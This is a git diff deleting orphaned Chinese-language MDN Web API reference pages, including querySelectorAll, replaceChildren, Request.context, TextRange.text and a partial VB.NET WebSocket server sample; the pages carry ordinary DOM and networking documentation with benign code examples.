backslash character. Since JavaScript also uses backslash escaping, special care must be taken when writing string literals using these characters. See {{anch("Escaping special characters")}} for more information.</p> -</div> - -<h3 id="返回值">返回值</h3> - -<p>一个不存活的 {{domxref("NodeList")}} ,每个子节点拥有一个 {{domxref("Element")}} 对象,其中每个子节点至少与一个选择器相匹配。</p> - -<div class="note"> -<p><strong>Note:</strong> 如果指定的 <code>selectors</code> 包含<a href="/en-US/docs/Web/CSS/Pseudo-elements">CSS pseudo-element</a>,那么返回的列表始终为空。</p> -</div> - -<h3 id="Exceptions">Exceptions</h3> - -<dl> - <dt><code>SyntaxError</code></dt> - <dd>The syntax of the specified <code>selectors</code> string is not valid.</dd> -</dl> - -<h2 id="例子">例子</h2> - -<p>To obtain a {{domxref("NodeList")}} of all of the {{HTMLElement("p")}} elements in the document:</p> - -<pre class="brush: js notranslate">var matches = document.querySelectorAll("p");</pre> - -<p>这个例子返回了所有 class 为 "note" 或者 "alert" 的 div 元素的一个列表:</p> - -<pre class="brush: js notranslate">var matches = document.querySelectorAll("div.note, div.alert");</pre> - -<p>Here, we get a list of <code><p></code> elements whose immediate parent element is a {{domxref("div")}} with the class <code>"highlighted"</code> and which are located inside a container whose ID is <code>"test"</code>.</p> - -<pre class="brush: js notranslate">var container = document.querySelector("#test"); -var matches = container.querySelectorAll("div.highlighted > p");</pre> - -<p>This example uses an <a href="/en-US/docs/Web/CSS/Attribute_selectors">attribute selector</a> to return a list of the {{domxref("iframe")}} elements in the document that contain an attribute named <code>"data-src"</code>:</p> - -<pre class="brush: js notranslate">var matches = document.querySelectorAll("iframe[data-src]");</pre> - -<p>Here, an attribute selector is used to return a list of the list items contained within a list whose ID is <code>"userlist"</code> which have a <code>"data-active"</code> attribute whose value is <code>"1"</code>:</p> - -<pre class="brush: js notranslate">var container = document.querySelector("#userlist"); -var matches = container.querySelectorAll("li[data-active=1]");</pre> - -<h2 id="User_notes">User notes</h2> - -<p><code>querySelectorAll()</code> behaves differently than most common JavaScript DOM libraries, which might lead to unexpected results.</p> - -<h3 id="HTML">HTML</h3> - -<p>Consider this HTML, with its three nested {{HTMLElement("div")}} blocks.</p> - -<pre class="brush: html notranslate"><div class="outer"> - <div class="select"> - <div class="inner"> - </div> - </div> -</div></pre> - -<h3 id="JavaScript">JavaScript</h3> - -<pre class="brush: js notranslate">var select = document.querySelector('.select'); -var inner = select.querySelectorAll('.outer .inner'); -inner.length; // 1, not 0! -</pre> - -<p>In this example, when selecting <code>".outer .inner"</code> in the context the <code><div></code> with the class <code>"select"</code>, the element with the class <code>".inner"</code> is still found, even though <code>.outer</code> is not a descendant of the base element on which the search is performed (<code>".select"</code>). By default, <code>querySelectorAll()</code> only verifies that the last element in the selector is within the search scope.</p> - -<p>The {{cssxref(":scope")}} pseudo-class restores the expected behavior, only matching selectors on descendants of the base element:</p> - -<pre class="brush: js notranslate">var select = document.querySelector('.select'); -var inner = select.querySelectorAll(':scope .outer .inner'); -inner.length; // 0</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> - <td>{{Spec2("DOM WHATWG")}}</td> - <td>Living standard</td> - </tr> - <tr> - <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> - <td>{{Spec2("Selectors API Level 2")}}</td> - <td>No change</td> - </tr> - <tr> - <td>{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td> - <td>{{Spec2("DOM4")}}</td> - <td>Initial definition</td> - </tr> - <tr> - <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td> - <td>{{Spec2("Selectors API Level 1")}}</td> - <td>Original definition</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.ParentNode.querySelectorAll")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a></li> - <li><a href="/en-US/docs/Code_snippets/QuerySelector">Code snippets for <code>querySelector()</code></a></li> - <li><a href="/en-US/docs/Web/CSS/Attribute_selectors">Attribute selectors</a> in the CSS Guide</li> - <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">Attribute selectors</a> in the MDN Learning Area</li> - <li>This method is available as {{domxref("Element.querySelectorAll()")}}, {{domxref("Document.querySelectorAll()")}}, and {{domxref("DocumentFragment.querySelectorAll()")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/parentnode/replacechildren/index.html b/files/zh-cn/orphaned/web/api/parentnode/replacechildren/index.html deleted file mode 100644 index d01a334fd7..0000000000 --- a/files/zh-cn/orphaned/web/api/parentnode/replacechildren/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: ParentNode.replaceChildren() -slug: orphaned/Web/API/ParentNode/replaceChildren -translation_of: Web/API/ParentNode/replaceChildren -original_slug: Web/API/ParentNode/replaceChildren ---- -<div>{{APIRef("DOM")}}{{seecompattable}}</div> - -<p><strong><code>ParentNode.replaceChildren()</code></strong> 方法将一个 {{domxref("Node")}} 的后代替换为指定的后代集合。这些新的后代可以为 {{domxref("DOMString")}} 或 {{domxref("Node")}} 对象。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox notranslate">// [Throws, Unscopable] -ParentNode.replaceChildren(...<var>nodesOrDOMStrings</var>) // 返回 undefined -</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code><var>nodesOrDOMStrings</var></code></dt> - <dd>一组用于替换 <code>ParentNode</code> 现有后代的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。若没有指定替代对象时,<code>ParentNode</code> 的所有后代都将被清空。</dd> -</dl> - -<h3 id="异常">异常</h3> - -<ul> - <li>{{domxref("HierarchyRequestError")}}: 当违反了<a href="https://dom.spec.whatwg.org/#concept-node-tree">节点树的约束条件</a>时抛出。</li> -</ul> - -<h2 id="例子">例子</h2> - -<h3 id="清空一个节点">清空一个节点</h3> - -<p><code>replaceChildren()</code> 为清空一个节点的后代提供了非常方便的机制,您只需在父节点不指定任何实参调用该方法即可。</p> - -<pre class="brush: js notranslate">myNode.replaceChildren();</pre> - -<h3 id="在父节点之间转移节点">在父节点之间转移节点</h3> - -<p><code>replaceChildren()</code> 允许您更轻松地在父节点之间转移节点,而无需依赖冗余的循环代码。例如,有一个简单的应用程序让您选择您派对上的食物。它的 HTML 可能如下:</p> - -<pre class="brush: html notranslate"><h2>派对食物列表</h2> - -<main> - <div> - <label for="no">不,谢谢了!</label> - - <select id="no" multiple size="10"> - <option>苹果</option> - <option>橘子</option> - <option>葡萄</option> - <option>香蕉</option> - <option>奇异果</option> - <option>巧克力饼干</option> - <option>花生饼干</option> - <option>巧克力棒</option> - <option>火腿三明治</option> - <option>乳酪三明治</option> - <option>沙拉三明治</option> - <option>冰淇淋</option> - <option>果冻</option> - <option>胡萝卜和鹰嘴豆泥</option> - <option>玛格丽特披萨</option> - <option>腊肠比萨</option> - <option>素比萨</option> - </select> - </div> - - <div class="buttons"> - <button id="to-yes">转移到"是" --&gt;</button> - <button id="to-no">&lt;-- 转移到 "否"</button> - </div> - - <div> - <label for="yes">是的,请!</label> - - <select id="yes" multiple size="10"> - - </select> - </div> -</main></pre> - -<p>使用一些简单的 CSS 将两个选择列表排成一行,并将控制按钮放置在它们之间是很有意义的:</p> - -<pre class="brush: css notranslate">main { - display: flex; -} - -div { - margin-right: 20px; -} - -label, button { - display: block; -} - -.buttons { - display: flex; - flex-flow: column; - justify-content: center; -} - -select { - width: 200px; -}</pre> - -<p>我们要做的是,当按下 “是” 按钮时,将 “否” 列表中的所有选定选项都转移到 “是” 列表中,然后当按下“否”按钮时,将 “是” 列表中的所有选定选项都转移到 “否” 列表中。</p> - -<p>为此,我们为每个按钮提供一个 click 事件处理句柄,该事件句柄将所选选项赋值到第一个常量中,将要转移到的列表中的现有的选项赋值到第二个常量中。然后,它会调用列表的 <code>replaceChildren()</code> 方法,使用延展运算符传入两个常量,进而将两个常量中包含的所有选项转移到目标列表。</p> - -<pre class="brush: js notranslate">const noSelect = document.getElementById('no'); -const yesSelect = document.getElementById('yes'); -const noBtn = document.getElementById('to-no'); -const yesBtn = document.getElementById('to-yes'); - -yesBtn.addEventListener('click', () => { - const selectedTransferOptions = document.querySelectorAll('#no option:checked'); - const existingYesOptions = document.querySelectorAll('#yes option'); - yesSelect.replaceChildren(...selectedTransferOptions, ...existingYesOptions); -}); - -noBtn.addEventListener('click', () => { - const selectedTransferOptions = document.querySelectorAll('#yes option:checked'); - const existingNoOptions = document.querySelectorAll('#no option'); - noSelect.replaceChildren(...selectedTransferOptions, ...existingNoOptions); -});</pre> - -<p>最终结果如下:</p> - -<p>{{EmbedLiveSample('Transferring_nodes_between_parents', '100%', '350')}}</p> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-parentnode-replacechildren', 'ParentNode.replaceChildren()')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.ParentNode.replaceChildren")}}</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{domxref("ParentNode")}} and {{domxref("ChildNode")}}</li> - <li>{{domxref("ParentNode.prepend()")}}</li> - <li>{{domxref("ParentNode.append()")}}</li> - <li>{{domxref("NodeList")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/renderingcontext/index.html b/files/zh-cn/orphaned/web/api/renderingcontext/index.html deleted file mode 100644 index 9133b5fd7f..0000000000 --- a/files/zh-cn/orphaned/web/api/renderingcontext/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: RenderingContext -slug: orphaned/Web/API/RenderingContext -translation_of: Web/API/RenderingContext -original_slug: Web/API/RenderingContext ---- -<p>{{APIRef("Canvas API")}}</p> - -<p><code><strong>RenderingContext</strong></code> 是一个辅助类型,描述下面任何一个渲染上下文: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} 或者 {{domxref("WebGL2RenderingContext")}} (继承自 <code>WebGLRenderingContext</code>)。</p> - -<p>这是简化规范的辅助类型,它不是一个接口,也没有对象实现它。</p> - -<h2 id="规范描述">规范描述</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<p> </p> diff --git a/files/zh-cn/orphaned/web/api/request/context/index.html b/files/zh-cn/orphaned/web/api/request/context/index.html deleted file mode 100644 index cc073a988b..0000000000 --- a/files/zh-cn/orphaned/web/api/request/context/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Request.context -slug: orphaned/Web/API/Request/context -translation_of: Web/API/Request/context -original_slug: Web/API/Request/context ---- -<div>{{APIRef("Fetch")}}{{deprecated_header()}}</div> - -<p><span class="seoSummary">The deprecated </span><font><font>弃用</font></font><strong><code>context</code></strong><font><font>所述的只读属性{{domxref("请求")}}接口包含请求的上下文(例如,</font></font><code>audio</code><font><font>,</font></font><code>image</code><font><font>,</font></font><code>iframe</code><font><font>)。</font></font><font><font>这定义了要获取的资源类型。</font><font>它已由{{domxref("Request.destination”,“ destination")}}属性取代。</font></font> This defines what sort of resource is being fetched. This has been replaced by the {{domxref("Request.destination", "destination")}} property.</p> - -<p>The context of a request is only relevant in the <font><font>请求的上下文仅与</font></font><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API"><font><font>ServiceWorker API</font></font></a><font><font>相关</font><font>;</font><font>服务人员可以根据URL是用于图像还是可嵌入对象(例如{{htmlelement("视频")}},{{domxref("iframe")}}等)进行决策。</font></font>; a service worker can make decisions based on whether the URL is for an image, or an embeddable object such as a {{htmlelement("video")}}, {{domxref("iframe")}}, etc.</p> - -<div class="note"> -<p><strong>Note<font><font>注意</font></font></strong><font><font>:您可以在“ </font></font><a href="https://fetch.spec.whatwg.org/#concept-request-context"><font><font>获取规范请求上下文”</font></font></a><font><font>部分中</font><font>找到不同可用上下文的完整列表,包括关联的上下文框架类型,CSP指令和平台功能示例</font><font>。</font></font> section.</p> -</div> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox notranslate">var <var>myContext</var> = <var>request</var>.context;</pre> - -<h3 id="Value">Value</h3> - -<p>A {{domxref("RequestContext")}} value.一个{{domxref("RequestContext")}}值。</p> - -<h2 id="Example例子">Example<font><font>例子</font></font></h2> - -<p>In the following snippet, we create a new request using the {{domxref("Request.Request()")}} constructor (for an image file in the same directory as the script), then save the request context in a variable:在以下代码段中,我们使用{{domxref("Request.Request()")}}}构造函数创建一个新请求(用于与脚本位于同一目录中的图像文件),然后将请求上下文保存在变量中:</p> - -<pre class="brush: js notranslate">var myRequest = new Request('flowers.jpg'); -var myContext = myRequest.context; // returns the empty string by default</pre> - -<h2 id="Browser_compatibility浏览器兼容性">Browser compatibility<font><font>浏览器兼容性</font></font></h2> - -<p>{{Compat("api.Request.context")}}</p> - -<h2 id="更多">更多</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/rtcpeerconnection/getdefaulticeservers/index.html b/files/zh-cn/orphaned/web/api/rtcpeerconnection/getdefaulticeservers/index.html deleted file mode 100644 index ff36e1741e..0000000000 --- a/files/zh-cn/orphaned/web/api/rtcpeerconnection/getdefaulticeservers/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: RTCPeerConnection.getDefaultIceServers() -slug: orphaned/Web/API/RTCPeerConnection/getDefaultIceServers -translation_of: Web/API/RTCPeerConnection/getDefaultIceServers -original_slug: Web/API/RTCPeerConnection/getDefaultIceServers ---- -<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p> - -<p>{{domxref("RTCPeerConnection")}} 接口的方法 <code><strong>getDefaultIceServers()</strong></code> 返回一个基于 {{domxref("RTCIceServer")}} 字典的对象数组。如果在 {{domxref("RTCPeerConnection")}} 的 {{domxref("RTCConfiguration")}} 中没有设置,该数组指向浏览器缺省使用的ICE servers,前提是浏览器确实存在缺省的ICE servers。然而,浏览器完全不必提供任何的缺省ICE Servers。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"> var <em>defaultIceServers</em> = <em>RTCPeerConnection</em>.getDefaultIceServers();</pre> - -<h3 id="返回值">返回值</h3> - -<p>一个 ICE servers 的数组,以基于 {{domxref("RTCIceServer")}} 的对象组成,当没有在 {{domxref("RTCPeerConnection")}} 的设置中进行设置时,浏览器将使用它们。如果浏览器没有提供缺省值,将返回一个空数组,该属性的值永远不是 <code>null</code>。</p> - -<h2 id="例子">例子</h2> - -<pre class="brush: js">var pc = new RTCPeerConnection(); -var iceServers = pc.getDefaultIceServers(); - -if (iceServers.length === 0) { - // Deal with the lack of default ICE servers, possibly by using our own defaults -}</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td><a href="https://w3c.github.io/webrtc-extensions/#dom-rtcpeerconnection-getdefaulticeservers">WebRTC Extensions</a></td> - <td></td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("api.RTCPeerConnection.getDefaultIceServers")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li> - <li>{{domxref("RTCConfiguration")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/textrange/text/index.html b/files/zh-cn/orphaned/web/api/textrange/text/index.html deleted file mode 100644 index 8c20714e44..0000000000 --- a/files/zh-cn/orphaned/web/api/textrange/text/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: TextRange.text -slug: orphaned/Web/API/TextRange/text -tags: - - API - - DHTML - - DOM - - TextRange -original_slug: Web/API/TextRange/text ---- -<div>{{ ApiRef("DOM") }}{{Non-standard_Header}}</div> - -<div class="blockIndicator warning"> -<p><strong>IE Only</strong></p> -该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。</div> - -<p>{{domxref("TextRange")}} 接口中的属性 <strong><code>text</code></strong> 用于以 {{domxref("DOMString")}} 形式获取或设置区域内的纯文本内容。该更改直接作用到 DOM 树中,并清除区域内原有的非纯文本元素。注意,该属性忽略所有格式数据,因此若要获取选区中的HTML内容,请使用 {{domxref("TextRange.htmlText")}} 属性。</p> - -<h2 id="语法">语法</h2> - -<pre>var tS<em>tring</em> = <em>textRange</em>.text; -<em>textRange</em>.text = oString; -</pre> - -<h3 id="返回值">返回值</h3> - -<p>一个 {{domxref("DOMString")}}。</p> - -<h2 id="示例">示例</h2> - -<p>以下示例在IE9以下有效。该示例通过 <code>document.selection</code> 获取 <code>TextRange</code>,并过滤选区中的富文本元素。IE9以上支持标准的替代方案 {{domxref("Range")}}。</p> - -<pre class="brush:js">var range = document.selection.createRange(); -range.htmlText = range.text; -// 将富文本内容设置为纯文本内容,则区域也就变为纯文本。 -</pre> - -<h2 id="开发者笔记">开发者笔记</h2> - -<h3 id="关于_text_属性">关于 text 属性</h3> - -<p>注意,当通过该属性操作或获取时,不会得到包含非纯文本的信息;如果通过该属性设置,则区域内的元素将被删除,之后通常会变为一个包含指定内容的文本节点。因此,即使通过这个属性操作纯文本内容,结果也将剔除原先的所有格式数据。</p> - -<p>如果希望脚本的功能明确可读,最好的办法是不要同时使用该属性和 <code>htmlText</code> 属性设置数据。另外,该属性不是标准的,它从IE4开始在IE中实现,但不在其它浏览器的规范中。</p> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="row" style="width: 15px;"></th> - <th scope="col">IE</th> - <th scope="col">其它浏览器</th> - </tr> - </thead> - <tbody> - <tr> - <th scope="row" style="width: 15%;">{{domxref("TextRange.text")}} {{non-standard_inline()}}</th> - <td>支持(IE9后应使用标准API)</td> - <td style="width: 60%;">不支持(详见<a href="/zh-CN/docs/Web/API/Selection_API">Selection API</a>)</td> - </tr> - </tbody> -</table> - -<h2 id="See_also" name="See_also">扩展</h2> - -<ul> - <li>{{domxref("TextRange")}} 作为该属性的实现接口</li> - <li>{{domxref("Selection")}} 及 {{domxref("Range")}} 标准接口</li> - <li><a href="/zh-CN/docs/Web/API/Selection_API">Selection API</a> 用于取代该非标准接口</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/typeinfo/index.html b/files/zh-cn/orphaned/web/api/typeinfo/index.html deleted file mode 100644 index cb47bcd1b7..0000000000 --- a/files/zh-cn/orphaned/web/api/typeinfo/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: TypeInfo -slug: orphaned/Web/API/TypeInfo -tags: - - TypeInfo -translation_of: Web/API/TypeInfo -original_slug: Web/API/TypeInfo ---- -<p>{{APIRef("DOM")}} {{obsolete_header}}</p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{domxref("TypeInfo.typeName")}} {{Readonlyinline}}</dt> - <dd>Returns a {{domxref("DOMString")}}.</dd> - <dt>{{domxref("TypeInfo.typeNamespace")}} {{Readonlyinline}}</dt> - <dd>Returns a {{domxref("DOMString")}}.</dd> -</dl> - -<h2 id="方法">方法</h2> - -<dl> - <dt>{{domxref("TypeInfo.isDerivedFrom()")}}</dt> - <dd>Returns a {{jsxref("Boolean")}}</dd> -</dl> - -<h2 id="常量">常量</h2> - -<table> - <tbody> - <tr> - <th scope="row">Constant</th> - <td>Value</td> - </tr> - <tr> - <th scope="row"><code>DERIVATION_RESTRICTION</code></th> - <td>1</td> - </tr> - <tr> - <th scope="row"><code>DERIVATION_EXTENSION</code></th> - <td>2</td> - </tr> - <tr> - <th scope="row"><code>DERIVATION_UNION</code></th> - <td>4</td> - </tr> - <tr> - <th scope="row"><code>DERIVATION_LIST</code></th> - <td>8</td> - </tr> - </tbody> -</table> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("DOM3 Core", "core.html#TypeInfo", "TypeInfo")}}</td> - <td>{{Spec2("DOM3 Core")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> diff --git a/files/zh-cn/orphaned/web/api/uievent/cancelbubble/index.html b/files/zh-cn/orphaned/web/api/uievent/cancelbubble/index.html deleted file mode 100644 index f98af92c97..0000000000 --- a/files/zh-cn/orphaned/web/api/uievent/cancelbubble/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: event.cancelBubble -slug: orphaned/Web/API/UIEvent/cancelBubble -translation_of: Web/API/UIEvent/cancelBubble -original_slug: Web/API/UIEvent/cancelBubble ---- -<p>{{ ApiRef() }}</p> -<div class="warning"> - <strong>警告:</strong> 请使用 <a href="/zh-cn/DOM/event.stopPropagation" title="zh-cn/DOM/event.stopPropagation">event.stopPropagation()</a> 方法来代替该不标准的属性.</div> -<h3 id="Summary" name="Summary">概述</h3> -<p>{{ Deprecated_header() }} 获取或设置一个布尔值,表明当前事件是否要取消冒泡.</p> -<h3 id="Syntax" name="Syntax">语法</h3> -<pre class="eval">event.cancelBubble = <em>bool;</em> -<em>var bool</em> = event.cancelBubble; -</pre> -<p><code>bool</code> 的值为<code>true或</code><code>false</code>.</p> -<h3 id="Notes" name="Notes">备注</h3> -<p><code>如果一个事件是可冒泡的,则它的cancelBubble</code>属性的默认值为 <code>false</code>,代表允许该事件向上冒泡. 将<code>cancelBubble</code>属性设置为<code>true以后,可以阻止该事件的进一步冒泡行为.</code></p> -<p>{{ languages( { "pl": "pl/DOM/event.cancelBubble" ,"en": "en/DOM/event.cancelBubble" } ) }}</p> diff --git a/files/zh-cn/orphaned/web/api/websockets_api/websocket_server_vb.net/index.html b/files/zh-cn/orphaned/web/api/websockets_api/websocket_server_vb.net/index.html deleted file mode 100644 index c01252f31b..0000000000 --- a/files/zh-cn/orphaned/web/api/websockets_api/websocket_server_vb.net/index.html +++ /dev/null @@ -1,271 +0,0 @@ ---- -title: WebSocket Server Vb.NET -slug: orphaned/Web/API/WebSockets_API/WebSocket_Server_Vb.NET -translation_of: Web/API/WebSockets_API/WebSocket_Server_Vb.NET -original_slug: Web/API/WebSockets_API/WebSocket_Server_Vb.NET ---- -<p>{{gecko_minversion_header("2")}}{{draft}}</p> - -<p>下面的示例没有优化。没有使用 .NET 4.5 Websocket。<br> - <br> - 当前版本:</p> - -<ul> - <li>包含了一个System.Net.Sockets.TcpClient类的泛型集合</li> - <li>特性 - 自定义事件和委托处理程序</li> - <li>特性 - 线程化和实现Timers.Timer</li> - <li>演示如何使用网络流将帧写回客户机(opCode 0001)</li> - <li>是否打算作为本教程和其他贡献者的起点</li> -</ul> - -<p> </p> - -<pre>Imports System.Net.Sockets -Imports System.Net -Imports System -Imports System.Text -Imports System.Text.RegularExpressions - - -Namespace TypeDef.WebSocket - - Public Class Client - Dim _TcpClient As System.Net.Sockets.TcpClient - - Public Delegate Sub OnClientDisconnectDelegateHandler() - Public Event onClientDisconnect As OnClientDisconnectDelegateHandler - - - Sub New(ByVal tcpClient As System.Net.Sockets.TcpClient) - Me._TcpClient = tcpClient - End Sub - - - Function isConnected() As Boolean - Return Me._TcpClient.Connected - End Function - - - Sub HandShake() - Dim stream As NetworkStream = Me._TcpClient.GetStream() - Dim bytes As Byte() - Dim data As String - - While Me._TcpClient.Connected - While (stream.DataAvailable) - ReDim bytes(Me._TcpClient.Client.Available) - stream.Read(bytes, 0, bytes.Length) - data = System.Text.Encoding.UTF8.GetString(bytes) - - If (New System.Text.RegularExpressions.Regex("^GET").IsMatch(data)) Then - - Dim response As Byte() = System.Text.Encoding.UTF8.GetBytes("HTTP/1.1 101 Switching Protocols" & Environment.NewLine & "Connection: Upgrade" & Environment.NewLine & "Upgrade: websocket" & Environment.NewLine & "Sec-WebSocket-Accept: " & Convert.ToBase64String(System.Security.Cryptography.SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(New Regex("Sec-WebSocket-Key: (.*)").Match(data).Groups(1).Value.Trim() & "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"))) & Environment.NewLine & Environment.NewLine) - - stream.Write(response, 0, response.Length) - Exit Sub - Else - 'We're going to disconnect the client here, because he's not handshacking properly (or at least to the scope of this code sample) - Me._TcpClient.Close() 'The next While Me._TcpClient.Connected Loop Check should fail.. and raise the onClientDisconnect Event Thereafter - End If - End While - End While - RaiseEvent onClientDisconnect() - End Sub - - - Sub CheckForDataAvailability() - If (Me._TcpClient.GetStream().DataAvailable) Then - Dim stream As NetworkStream = Me._TcpClient.GetStream() - Dim frameCount = 2 - Dim bytes As Byte() - Dim data As String - ReDim bytes(Me._TcpClient.Client.Available) - stream.Read(bytes, 0, bytes.Length) 'Read the stream, don't close it.. - - Try - Dim length As UInteger = bytes(1) - 128 'this should obviously be a byte (unsigned 8bit value) - - If length > -1 Then - If length = 126 Then - length = 4 - ElseIf length = 127 Then - length = 10 - End If - End If - - 'the following is very inefficient and likely unnecessary.. - 'the main purpose is to just get the lower 4 bits of byte(0) - which is the OPCODE - - Dim value As Integer = bytes(0) - Dim bitArray As BitArray = New BitArray(8) - - For c As Integer = 0 To 7 Step 1 - If value - (2 ^ (7 - c)) >= 0 Then - bitArray.Item(c) = True - value -= (2 ^ (7 - c)) - Else - bitArray.Item(c) = False - End If - Next - - - Dim FRRR_OPCODE As String = "" - - For Each bit As Boolean In bitArray - If bit Then - FRRR_OPCODE &= "1" - Else - FRRR_OPCODE &= "0" - End If - Next - - - Dim FIN As Integer = FRRR_OPCODE.Substring(0, 1) - Dim RSV1 As Integer = FRRR_OPCODE.Substring(1, 1) - Dim RSV2 As Integer = FRRR_OPCODE.Substring(2, 1) - Dim RSV3 As Integer = FRRR_OPCODE.Substring(3, 1) - Dim opCode As Integer = Convert.ToInt32(FRRR_OPCODE.Substring(4, 4), 2) - - - - Dim decoded(bytes.Length - (frameCount + 4)) As Byte - Dim key As Byte() = {bytes(frameCount), bytes(frameCount+1), bytes(frameCount+2), bytes(frameCount+3)} - - Dim j As Integer = 0 - For i As Integer = (frameCount + 4) To (bytes.Length - 2) Step 1 - decoded(j) = Convert.ToByte((bytes(i) Xor masks(j Mod 4))) - j += 1 - Next - - - - Select Case opCode - Case Is = 1 - 'Text Data Sent From Client - - data = System.Text.Encoding.UTF8.GetString(decoded) - 'handle this data - - Dim Payload As Byte() = System.Text.Encoding.UTF8.GetBytes("Text Recieved") - Dim FRRROPCODE As Byte() = Convert.ToByte("10000001", 2) 'FIN is set, and OPCODE is 1 or Text - Dim header as byte() = {FRRROPCODE, Convert.ToByte(Payload.Length)} - - - Dim ResponseData As Byte() - ReDim ResponseData((header.length + Payload.Length) - 1) - 'NOTEWORTHY: if you Redim ResponseData(header.length + Payload.Length).. you'll add a 0 value byte at the end of the response data.. - 'which tells the client that your next stream write will be a continuation frame.. - - Dim index as integer = 0 - - Buffer.BlockCopy(header, 0, ResponseData, index, header.length) - index += header.length - - Buffer.BlockCopy(payload, 0, ResponseData, index, payload.length) - index += payload.length - stream.Write(ResponseData, 0, ResponseData.Length) - Case Is = 2 - '// Binary Data Sent From Client - data = System.Text.Encoding.UTF8.GetString(decoded) - Dim response As Byte() = System.Text.Encoding.UTF8.GetBytes("Binary Recieved") - stream.Write(response, 0, response.Length) - Case Is = 9 '// Ping Sent From Client - Case Is = 10 '// Pong Sent From Client - Case Else '// Improper opCode.. disconnect the client - _TcpClient.Close() - RaiseEvent onClientDisconnect() - End Select - Catch ex As Exception - _TcpClient.Close() - RaiseEvent onClientDisconnect() - End Try - End If - End Sub - End Class - - - - Public Class Server - Inherits System.Net.Sockets.TcpListener - - Delegate Sub OnClientConnectDelegate(ByVal sender As Object, ByRef Client As WebSocket.Client) - Event OnClientConnect As OnClientConnectDelegate - - - Dim WithEvents PendingCheckTimer As Timers.Timer = New Timers.Timer(500) - Dim WithEvents ClientDataAvailableTimer As Timers.Timer = New Timers.Timer(50) - Property ClientCollection As List(Of WebSocket.Client) = New List(Of WebSocket.Client) - - - - Sub New(ByVal url As String, ByVal port As Integer) - MyBase.New(IPAddress.Parse(url), port) - End Sub - - - Sub startServer() - Me.Start() - PendingCheckTimer.Start() - End Sub - - - - Sub Client_Connected(ByVal sender As Object, ByRef client As WebSocket.Client) Handles Me.OnClientConnect - Me.ClientCollection.Add(client) - AddHandler client.onClientDisconnect, AddressOf Client_Disconnected - client.HandShake() - ClientDataAvailableTimer.Start() - End Sub - - - Sub Client_Disconnected() - - End Sub - - - Function isClientDisconnected(ByVal client As WebSocket.Client) As Boolean - 